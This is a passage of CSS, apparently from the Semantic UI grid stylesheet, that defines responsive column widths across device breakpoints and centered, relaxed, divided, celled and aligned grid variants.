{\n    width: 50% !important;\n  }\n\n  .ui.grid > .row > [class*=\"nine wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"nine wide mobile\"].column,\n  .ui.grid > [class*=\"nine wide mobile\"].column,\n  .ui.column.grid > [class*=\"nine wide mobile\"].column {\n    width: 56.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"ten wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"ten wide mobile\"].column,\n  .ui.grid > [class*=\"ten wide mobile\"].column,\n  .ui.column.grid > [class*=\"ten wide mobile\"].column {\n    width: 62.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eleven wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"eleven wide mobile\"].column,\n  .ui.grid > [class*=\"eleven wide mobile\"].column,\n  .ui.column.grid > [class*=\"eleven wide mobile\"].column {\n    width: 68.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"twelve wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"twelve wide mobile\"].column,\n  .ui.grid > [class*=\"twelve wide mobile\"].column,\n  .ui.column.grid > [class*=\"twelve wide mobile\"].column {\n    width: 75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"thirteen wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"thirteen wide mobile\"].column,\n  .ui.grid > [class*=\"thirteen wide mobile\"].column,\n  .ui.column.grid > [class*=\"thirteen wide mobile\"].column {\n    width: 81.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fourteen wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"fourteen wide mobile\"].column,\n  .ui.grid > [class*=\"fourteen wide mobile\"].column,\n  .ui.column.grid > [class*=\"fourteen wide mobile\"].column {\n    width: 87.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fifteen wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"fifteen wide mobile\"].column,\n  .ui.grid > [class*=\"fifteen wide mobile\"].column,\n  .ui.column.grid > [class*=\"fifteen wide mobile\"].column {\n    width: 93.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"sixteen wide mobile\"].column,\n  .ui.grid > .column.row > [class*=\"sixteen wide mobile\"].column,\n  .ui.grid > [class*=\"sixteen wide mobile\"].column,\n  .ui.column.grid > [class*=\"sixteen wide mobile\"].column {\n    width: 100% !important;\n  }\n}\n\n/* Tablet Sizing Combinations */\n\n@media only screen and (min-width: 768px) and (max-width: 991px) {\n  .ui.grid > .row > [class*=\"one wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"one wide tablet\"].column,\n  .ui.grid > [class*=\"one wide tablet\"].column,\n  .ui.column.grid > [class*=\"one wide tablet\"].column {\n    width: 6.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"two wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"two wide tablet\"].column,\n  .ui.grid > [class*=\"two wide tablet\"].column,\n  .ui.column.grid > [class*=\"two wide tablet\"].column {\n    width: 12.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"three wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"three wide tablet\"].column,\n  .ui.grid > [class*=\"three wide tablet\"].column,\n  .ui.column.grid > [class*=\"three wide tablet\"].column {\n    width: 18.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"four wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"four wide tablet\"].column,\n  .ui.grid > [class*=\"four wide tablet\"].column,\n  .ui.column.grid > [class*=\"four wide tablet\"].column {\n    width: 25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"five wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"five wide tablet\"].column,\n  .ui.grid > [class*=\"five wide tablet\"].column,\n  .ui.column.grid > [class*=\"five wide tablet\"].column {\n    width: 31.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"six wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"six wide tablet\"].column,\n  .ui.grid > [class*=\"six wide tablet\"].column,\n  .ui.column.grid > [class*=\"six wide tablet\"].column {\n    width: 37.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"seven wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"seven wide tablet\"].column,\n  .ui.grid > [class*=\"seven wide tablet\"].column,\n  .ui.column.grid > [class*=\"seven wide tablet\"].column {\n    width: 43.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eight wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"eight wide tablet\"].column,\n  .ui.grid > [class*=\"eight wide tablet\"].column,\n  .ui.column.grid > [class*=\"eight wide tablet\"].column {\n    width: 50% !important;\n  }\n\n  .ui.grid > .row > [class*=\"nine wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"nine wide tablet\"].column,\n  .ui.grid > [class*=\"nine wide tablet\"].column,\n  .ui.column.grid > [class*=\"nine wide tablet\"].column {\n    width: 56.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"ten wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"ten wide tablet\"].column,\n  .ui.grid > [class*=\"ten wide tablet\"].column,\n  .ui.column.grid > [class*=\"ten wide tablet\"].column {\n    width: 62.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eleven wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"eleven wide tablet\"].column,\n  .ui.grid > [class*=\"eleven wide tablet\"].column,\n  .ui.column.grid > [class*=\"eleven wide tablet\"].column {\n    width: 68.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"twelve wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"twelve wide tablet\"].column,\n  .ui.grid > [class*=\"twelve wide tablet\"].column,\n  .ui.column.grid > [class*=\"twelve wide tablet\"].column {\n    width: 75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"thirteen wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"thirteen wide tablet\"].column,\n  .ui.grid > [class*=\"thirteen wide tablet\"].column,\n  .ui.column.grid > [class*=\"thirteen wide tablet\"].column {\n    width: 81.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fourteen wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"fourteen wide tablet\"].column,\n  .ui.grid > [class*=\"fourteen wide tablet\"].column,\n  .ui.column.grid > [class*=\"fourteen wide tablet\"].column {\n    width: 87.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fifteen wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"fifteen wide tablet\"].column,\n  .ui.grid > [class*=\"fifteen wide tablet\"].column,\n  .ui.column.grid > [class*=\"fifteen wide tablet\"].column {\n    width: 93.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"sixteen wide tablet\"].column,\n  .ui.grid > .column.row > [class*=\"sixteen wide tablet\"].column,\n  .ui.grid > [class*=\"sixteen wide tablet\"].column,\n  .ui.column.grid > [class*=\"sixteen wide tablet\"].column {\n    width: 100% !important;\n  }\n}\n\n/* Computer/Desktop Sizing Combinations */\n\n@media only screen and (min-width: 992px) {\n  .ui.grid > .row > [class*=\"one wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"one wide computer\"].column,\n  .ui.grid > [class*=\"one wide computer\"].column,\n  .ui.column.grid > [class*=\"one wide computer\"].column {\n    width: 6.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"two wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"two wide computer\"].column,\n  .ui.grid > [class*=\"two wide computer\"].column,\n  .ui.column.grid > [class*=\"two wide computer\"].column {\n    width: 12.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"three wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"three wide computer\"].column,\n  .ui.grid > [class*=\"three wide computer\"].column,\n  .ui.column.grid > [class*=\"three wide computer\"].column {\n    width: 18.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"four wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"four wide computer\"].column,\n  .ui.grid > [class*=\"four wide computer\"].column,\n  .ui.column.grid > [class*=\"four wide computer\"].column {\n    width: 25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"five wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"five wide computer\"].column,\n  .ui.grid > [class*=\"five wide computer\"].column,\n  .ui.column.grid > [class*=\"five wide computer\"].column {\n    width: 31.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"six wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"six wide computer\"].column,\n  .ui.grid > [class*=\"six wide computer\"].column,\n  .ui.column.grid > [class*=\"six wide computer\"].column {\n    width: 37.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"seven wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"seven wide computer\"].column,\n  .ui.grid > [class*=\"seven wide computer\"].column,\n  .ui.column.grid > [class*=\"seven wide computer\"].column {\n    width: 43.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eight wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"eight wide computer\"].column,\n  .ui.grid > [class*=\"eight wide computer\"].column,\n  .ui.column.grid > [class*=\"eight wide computer\"].column {\n    width: 50% !important;\n  }\n\n  .ui.grid > .row > [class*=\"nine wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"nine wide computer\"].column,\n  .ui.grid > [class*=\"nine wide computer\"].column,\n  .ui.column.grid > [class*=\"nine wide computer\"].column {\n    width: 56.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"ten wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"ten wide computer\"].column,\n  .ui.grid > [class*=\"ten wide computer\"].column,\n  .ui.column.grid > [class*=\"ten wide computer\"].column {\n    width: 62.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eleven wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"eleven wide computer\"].column,\n  .ui.grid > [class*=\"eleven wide computer\"].column,\n  .ui.column.grid > [class*=\"eleven wide computer\"].column {\n    width: 68.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"twelve wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"twelve wide computer\"].column,\n  .ui.grid > [class*=\"twelve wide computer\"].column,\n  .ui.column.grid > [class*=\"twelve wide computer\"].column {\n    width: 75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"thirteen wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"thirteen wide computer\"].column,\n  .ui.grid > [class*=\"thirteen wide computer\"].column,\n  .ui.column.grid > [class*=\"thirteen wide computer\"].column {\n    width: 81.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fourteen wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"fourteen wide computer\"].column,\n  .ui.grid > [class*=\"fourteen wide computer\"].column,\n  .ui.column.grid > [class*=\"fourteen wide computer\"].column {\n    width: 87.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fifteen wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"fifteen wide computer\"].column,\n  .ui.grid > [class*=\"fifteen wide computer\"].column,\n  .ui.column.grid > [class*=\"fifteen wide computer\"].column {\n    width: 93.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"sixteen wide computer\"].column,\n  .ui.grid > .column.row > [class*=\"sixteen wide computer\"].column,\n  .ui.grid > [class*=\"sixteen wide computer\"].column,\n  .ui.column.grid > [class*=\"sixteen wide computer\"].column {\n    width: 100% !important;\n  }\n}\n\n/* Large Monitor Sizing Combinations */\n\n@media only screen and (min-width: 1200px) and (max-width: 1919px) {\n  .ui.grid > .row > [class*=\"one wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"one wide large screen\"].column,\n  .ui.grid > [class*=\"one wide large screen\"].column,\n  .ui.column.grid > [class*=\"one wide large screen\"].column {\n    width: 6.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"two wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"two wide large screen\"].column,\n  .ui.grid > [class*=\"two wide large screen\"].column,\n  .ui.column.grid > [class*=\"two wide large screen\"].column {\n    width: 12.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"three wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"three wide large screen\"].column,\n  .ui.grid > [class*=\"three wide large screen\"].column,\n  .ui.column.grid > [class*=\"three wide large screen\"].column {\n    width: 18.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"four wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"four wide large screen\"].column,\n  .ui.grid > [class*=\"four wide large screen\"].column,\n  .ui.column.grid > [class*=\"four wide large screen\"].column {\n    width: 25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"five wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"five wide large screen\"].column,\n  .ui.grid > [class*=\"five wide large screen\"].column,\n  .ui.column.grid > [class*=\"five wide large screen\"].column {\n    width: 31.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"six wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"six wide large screen\"].column,\n  .ui.grid > [class*=\"six wide large screen\"].column,\n  .ui.column.grid > [class*=\"six wide large screen\"].column {\n    width: 37.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"seven wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"seven wide large screen\"].column,\n  .ui.grid > [class*=\"seven wide large screen\"].column,\n  .ui.column.grid > [class*=\"seven wide large screen\"].column {\n    width: 43.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eight wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"eight wide large screen\"].column,\n  .ui.grid > [class*=\"eight wide large screen\"].column,\n  .ui.column.grid > [class*=\"eight wide large screen\"].column {\n    width: 50% !important;\n  }\n\n  .ui.grid > .row > [class*=\"nine wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"nine wide large screen\"].column,\n  .ui.grid > [class*=\"nine wide large screen\"].column,\n  .ui.column.grid > [class*=\"nine wide large screen\"].column {\n    width: 56.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"ten wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"ten wide large screen\"].column,\n  .ui.grid > [class*=\"ten wide large screen\"].column,\n  .ui.column.grid > [class*=\"ten wide large screen\"].column {\n    width: 62.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eleven wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"eleven wide large screen\"].column,\n  .ui.grid > [class*=\"eleven wide large screen\"].column,\n  .ui.column.grid > [class*=\"eleven wide large screen\"].column {\n    width: 68.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"twelve wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"twelve wide large screen\"].column,\n  .ui.grid > [class*=\"twelve wide large screen\"].column,\n  .ui.column.grid > [class*=\"twelve wide large screen\"].column {\n    width: 75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"thirteen wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"thirteen wide large screen\"].column,\n  .ui.grid > [class*=\"thirteen wide large screen\"].column,\n  .ui.column.grid > [class*=\"thirteen wide large screen\"].column {\n    width: 81.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fourteen wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"fourteen wide large screen\"].column,\n  .ui.grid > [class*=\"fourteen wide large screen\"].column,\n  .ui.column.grid > [class*=\"fourteen wide large screen\"].column {\n    width: 87.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fifteen wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"fifteen wide large screen\"].column,\n  .ui.grid > [class*=\"fifteen wide large screen\"].column,\n  .ui.column.grid > [class*=\"fifteen wide large screen\"].column {\n    width: 93.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"sixteen wide large screen\"].column,\n  .ui.grid > .column.row > [class*=\"sixteen wide large screen\"].column,\n  .ui.grid > [class*=\"sixteen wide large screen\"].column,\n  .ui.column.grid > [class*=\"sixteen wide large screen\"].column {\n    width: 100% !important;\n  }\n}\n\n/* Widescreen Sizing Combinations */\n\n@media only screen and (min-width: 1920px) {\n  .ui.grid > .row > [class*=\"one wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"one wide widescreen\"].column,\n  .ui.grid > [class*=\"one wide widescreen\"].column,\n  .ui.column.grid > [class*=\"one wide widescreen\"].column {\n    width: 6.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"two wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"two wide widescreen\"].column,\n  .ui.grid > [class*=\"two wide widescreen\"].column,\n  .ui.column.grid > [class*=\"two wide widescreen\"].column {\n    width: 12.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"three wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"three wide widescreen\"].column,\n  .ui.grid > [class*=\"three wide widescreen\"].column,\n  .ui.column.grid > [class*=\"three wide widescreen\"].column {\n    width: 18.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"four wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"four wide widescreen\"].column,\n  .ui.grid > [class*=\"four wide widescreen\"].column,\n  .ui.column.grid > [class*=\"four wide widescreen\"].column {\n    width: 25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"five wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"five wide widescreen\"].column,\n  .ui.grid > [class*=\"five wide widescreen\"].column,\n  .ui.column.grid > [class*=\"five wide widescreen\"].column {\n    width: 31.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"six wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"six wide widescreen\"].column,\n  .ui.grid > [class*=\"six wide widescreen\"].column,\n  .ui.column.grid > [class*=\"six wide widescreen\"].column {\n    width: 37.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"seven wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"seven wide widescreen\"].column,\n  .ui.grid > [class*=\"seven wide widescreen\"].column,\n  .ui.column.grid > [class*=\"seven wide widescreen\"].column {\n    width: 43.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eight wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"eight wide widescreen\"].column,\n  .ui.grid > [class*=\"eight wide widescreen\"].column,\n  .ui.column.grid > [class*=\"eight wide widescreen\"].column {\n    width: 50% !important;\n  }\n\n  .ui.grid > .row > [class*=\"nine wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"nine wide widescreen\"].column,\n  .ui.grid > [class*=\"nine wide widescreen\"].column,\n  .ui.column.grid > [class*=\"nine wide widescreen\"].column {\n    width: 56.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"ten wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"ten wide widescreen\"].column,\n  .ui.grid > [class*=\"ten wide widescreen\"].column,\n  .ui.column.grid > [class*=\"ten wide widescreen\"].column {\n    width: 62.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"eleven wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"eleven wide widescreen\"].column,\n  .ui.grid > [class*=\"eleven wide widescreen\"].column,\n  .ui.column.grid > [class*=\"eleven wide widescreen\"].column {\n    width: 68.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"twelve wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"twelve wide widescreen\"].column,\n  .ui.grid > [class*=\"twelve wide widescreen\"].column,\n  .ui.column.grid > [class*=\"twelve wide widescreen\"].column {\n    width: 75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"thirteen wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"thirteen wide widescreen\"].column,\n  .ui.grid > [class*=\"thirteen wide widescreen\"].column,\n  .ui.column.grid > [class*=\"thirteen wide widescreen\"].column {\n    width: 81.25% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fourteen wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"fourteen wide widescreen\"].column,\n  .ui.grid > [class*=\"fourteen wide widescreen\"].column,\n  .ui.column.grid > [class*=\"fourteen wide widescreen\"].column {\n    width: 87.5% !important;\n  }\n\n  .ui.grid > .row > [class*=\"fifteen wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"fifteen wide widescreen\"].column,\n  .ui.grid > [class*=\"fifteen wide widescreen\"].column,\n  .ui.column.grid > [class*=\"fifteen wide widescreen\"].column {\n    width: 93.75% !important;\n  }\n\n  .ui.grid > .row > [class*=\"sixteen wide widescreen\"].column,\n  .ui.grid > .column.row > [class*=\"sixteen wide widescreen\"].column,\n  .ui.grid > [class*=\"sixteen wide widescreen\"].column,\n  .ui.column.grid > [class*=\"sixteen wide widescreen\"].column {\n    width: 100% !important;\n  }\n}\n\n/*----------------------\n        Centered\n-----------------------*/\n\n.ui.centered.grid,\n.ui.centered.grid > .row,\n.ui.grid > .centered.row {\n  text-align: center;\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n}\n\n.ui.centered.grid > .column:not(.aligned):not(.row),\n.ui.centered.grid > .row > .column:not(.aligned),\n.ui.grid .centered.row > .column:not(.aligned) {\n  text-align: left;\n}\n\n.ui.grid > .centered.column,\n.ui.grid > .row > .centered.column {\n  display: block;\n  margin-left: auto;\n  margin-right: auto;\n}\n\n/*----------------------\n        Relaxed\n-----------------------*/\n\n.ui.relaxed.grid > .column:not(.row),\n.ui.relaxed.grid > .row > .column,\n.ui.grid > .relaxed.row > .column {\n  padding-left: 1.5rem;\n  padding-right: 1.5rem;\n}\n\n.ui[class*=\"very relaxed\"].grid > .column:not(.row),\n.ui[class*=\"very relaxed\"].grid > .row > .column,\n.ui.grid > [class*=\"very relaxed\"].row > .column {\n  padding-left: 2.5rem;\n  padding-right: 2.5rem;\n}\n\n/* Coupling with UI Divider */\n\n.ui.relaxed.grid .row + .ui.divider,\n.ui.grid .relaxed.row + .ui.divider {\n  margin-left: 1.5rem;\n  margin-right: 1.5rem;\n}\n\n.ui[class*=\"very relaxed\"].grid .row + .ui.divider,\n.ui.grid [class*=\"very relaxed\"].row + .ui.divider {\n  margin-left: 2.5rem;\n  margin-right: 2.5rem;\n}\n\n/*----------------------\n        Padded\n-----------------------*/\n\n.ui.padded.grid:not(.vertically):not(.horizontally) {\n  margin: 0em !important;\n}\n\n[class*=\"horizontally padded\"].ui.grid {\n  margin-left: 0em !important;\n  margin-right: 0em !important;\n}\n\n[class*=\"vertically padded\"].ui.grid {\n  margin-top: 0em !important;\n  margin-bottom: 0em !important;\n}\n\n/*----------------------\n       \"Floated\"\n-----------------------*/\n\n.ui.grid [class*=\"left floated\"].column {\n  margin-right: auto;\n}\n\n.ui.grid [class*=\"right floated\"].column {\n  margin-left: auto;\n}\n\n/*----------------------\n        Divided\n-----------------------*/\n\n.ui.divided.grid:not([class*=\"vertically divided\"]) > .column:not(.row),\n.ui.divided.grid:not([class*=\"vertically divided\"]) > .row > .column {\n  box-shadow: -1px 0px 0px 0px rgba(34, 36, 38, 0.15);\n}\n\n/* Swap from padding to margin on columns to have dividers align */\n\n.ui[class*=\"vertically divided\"].grid > .column:not(.row),\n.ui[class*=\"vertically divided\"].grid > .row > .column {\n  margin-top: 1rem;\n  margin-bottom: 1rem;\n  padding-top: 0rem;\n  padding-bottom: 0rem;\n}\n\n.ui[class*=\"vertically divided\"].grid > .row {\n  margin-top: 0em;\n  margin-bottom: 0em;\n}\n\n/* No divider on first column on row */\n\n.ui.divided.grid:not([class*=\"vertically divided\"]) > .column:first-child,\n.ui.divided.grid:not([class*=\"vertically divided\"]) > .row > .column:first-child {\n  box-shadow: none;\n}\n\n/* Divided Row */\n\n.ui.grid > .divided.row > .column {\n  box-shadow: -1px 0px 0px 0px rgba(34, 36, 38, 0.15);\n}\n\n.ui.grid > .divided.row > .column:first-child {\n  box-shadow: none;\n}\n\n/* Vertically Divided */\n\n.ui[class*=\"vertically divided\"].grid > .row {\n  position: relative;\n}\n\n.ui[class*=\"vertically divided\"].grid > .row:before {\n  position: absolute;\n  content: \"\";\n  top: 0em;\n  left: 0px;\n  width: calc(100% -  2rem );\n  height: 1px;\n  margin: 0% 1rem;\n  box-shadow: 0px -1px 0px 0px rgba(34, 36, 38, 0.15);\n}\n\n/* Padded Horizontally Divided */\n\n[class*=\"horizontally padded\"].ui.divided.grid,\n.ui.padded.divided.grid:not(.vertically):not(.horizontally) {\n  width: 100%;\n}\n\n/* First Row Vertically Divided */\n\n.ui[class*=\"vertically divided\"].grid > .row:first-child:before {\n  box-shadow: none;\n}\n\n/* Inverted Divided */\n\n.ui.inverted.divided.grid:not([class*=\"vertically divided\"]) > .column:not(.row),\n.ui.inverted.divided.grid:not([class*=\"vertically divided\"]) > .row > .column {\n  box-shadow: -1px 0px 0px 0px rgba(255, 255, 255, 0.1);\n}\n\n.ui.inverted.divided.grid:not([class*=\"vertically divided\"]) > .column:not(.row):first-child,\n.ui.inverted.divided.grid:not([class*=\"vertically divided\"]) > .row > .column:first-child {\n  box-shadow: none;\n}\n\n.ui.inverted[class*=\"vertically divided\"].grid > .row:before {\n  box-shadow: 0px -1px 0px 0px rgba(255, 255, 255, 0.1);\n}\n\n/* Relaxed */\n\n.ui.relaxed[class*=\"vertically divided\"].grid > .row:before {\n  margin-left: 1.5rem;\n  margin-right: 1.5rem;\n  width: calc(100% -  3rem );\n}\n\n.ui[class*=\"very relaxed\"][class*=\"vertically divided\"].grid > .row:before {\n  margin-left: 5rem;\n  margin-right: 5rem;\n  width: calc(100% -  5rem );\n}\n\n/*----------------------\n         Celled\n-----------------------*/\n\n.ui.celled.grid {\n  width: 100%;\n  margin: 1em 0em;\n  box-shadow: 0px 0px 0px 1px #d4d4d5;\n}\n\n.ui.celled.grid > .row,\n.ui.celled.grid > .column.row,\n.ui.celled.grid > .column.row:first-child {\n  width: 100% !important;\n  margin: 0em;\n  padding: 0em;\n  box-shadow: 0px -1px 0px 0px #d4d4d5;\n}\n\n.ui.celled.grid > .column:not(.row),\n.ui.celled.grid > .row > .column {\n  box-shadow: -1px 0px 0px 0px #d4d4d5;\n}\n\n.ui.celled.grid > .column:first-child,\n.ui.celled.grid > .row > .column:first-child {\n  box-shadow: none;\n}\n\n.ui.celled.page.grid {\n  box-shadow: none;\n}\n\n.ui.celled.grid > .column:not(.row),\n.ui.celled.grid > .row > .column {\n  padding: 1em;\n}\n\n.ui.relaxed.celled.grid > .column:not(.row),\n.ui.relaxed.celled.grid > .row > .column {\n  padding: 1.5em;\n}\n\n.ui[class*=\"very relaxed\"].celled.grid > .column:not(.row),\n.ui[class*=\"very relaxed\"].celled.grid > .row > .column {\n  padding: 2em;\n}\n\n/* Internally Celled */\n\n.ui[class*=\"internally celled\"].grid {\n  box-shadow: none;\n  margin: 0em;\n}\n\n.ui[class*=\"internally celled\"].grid > .row:first-child {\n  box-shadow: none;\n}\n\n.ui[class*=\"internally celled\"].grid > .row > .column:first-child {\n  box-shadow: none;\n}\n\n/*----------------------\n   Vertically Aligned\n-----------------------*/\n\n/* Top Aligned */\n\n.ui[class*=\"top aligned\"].grid .column:not(.row),\n.ui.grid > [class*=\"top aligned\"].row > .column,\n.ui.grid > [class*=\"top aligned\"].column:not(.row),\n.ui.grid > .row > [class*=\"top aligned\"].column {\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  vertical-align: top;\n  -webkit-align-self: flex-start !important;\n  -ms-flex-item-align: start !important;\n  align-self: flex-start !important;\n}\n\n/* Middle Aligned */\n\n.ui[class*=\"middle aligned\"].grid .column:not(.row),\n.ui.grid > [class*=\"middle aligned\"].row > .column,\n.ui.grid > [class*=\"middle aligned\"].column:not(.row),\n.ui.grid > .row > [class*=\"middle aligned\"].column {\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  vertical-align: middle;\n  -webkit-align-self: center !important;\n  -ms-flex-item-align: center !important;\n  align-self: center !important;\n}\n\n/* Bottom Aligned */\n\n.ui[class*=\"bottom aligned\"].grid .column:not(.row),\n.ui.grid > [class*=\"bottom aligned\"].row > .column,\n.ui.grid > [class*=\"bottom aligned\"].column:not(.row),\n.ui.grid > .row > [class*=\"bottom aligned\"].column {\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  vertical-align: bottom;\n  -webkit-align-self: flex-end !important;\n  -ms-flex-item-align: end !important;\n  align-self: flex-end !important;\n}\n\n/* Stretched */\n\n.ui.stretched.grid > .row > .column,\n.ui.stretched.grid > .column,\n.ui.grid > .stretched.row > .column,\n.ui.grid > .stretched.column:not(.row),\n.ui.grid > .row > .stretched.column {\n  display: -webkit-inline-box !important;\n  display: -webkit-inline-flex !important;\n  display: -ms-inline-flexbox !important;\n  display: inline-flex !important;\n  -webkit-align-self: stretch;\n  -ms-flex-item-align: stretch;\n  align-self: stretch;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n}\n\n.ui.stretched.grid > .row > .column > *,\n.ui.stretched.grid > .column > *,\n.ui.grid > .stretched.row > .column > *,\n.ui.grid > .stretched.column:not(.row) > *,\n.ui.grid > .row > .stretched.column > * {\n  -webkit-box-flex: 1;\n  -webkit-flex-grow: 1;\n  -ms-flex-positive: 1;\n  flex-grow: 1;\n}\n\n/*----------------------\n  Horizontally Centered\n-----------------------*/\n\n/* Left Aligned */\n\n.ui[class*=\"left aligned\"].grid .column,\n.ui.grid > [class*=\"left aligned\"].row > .column,\n.ui.grid > [class*=\"left 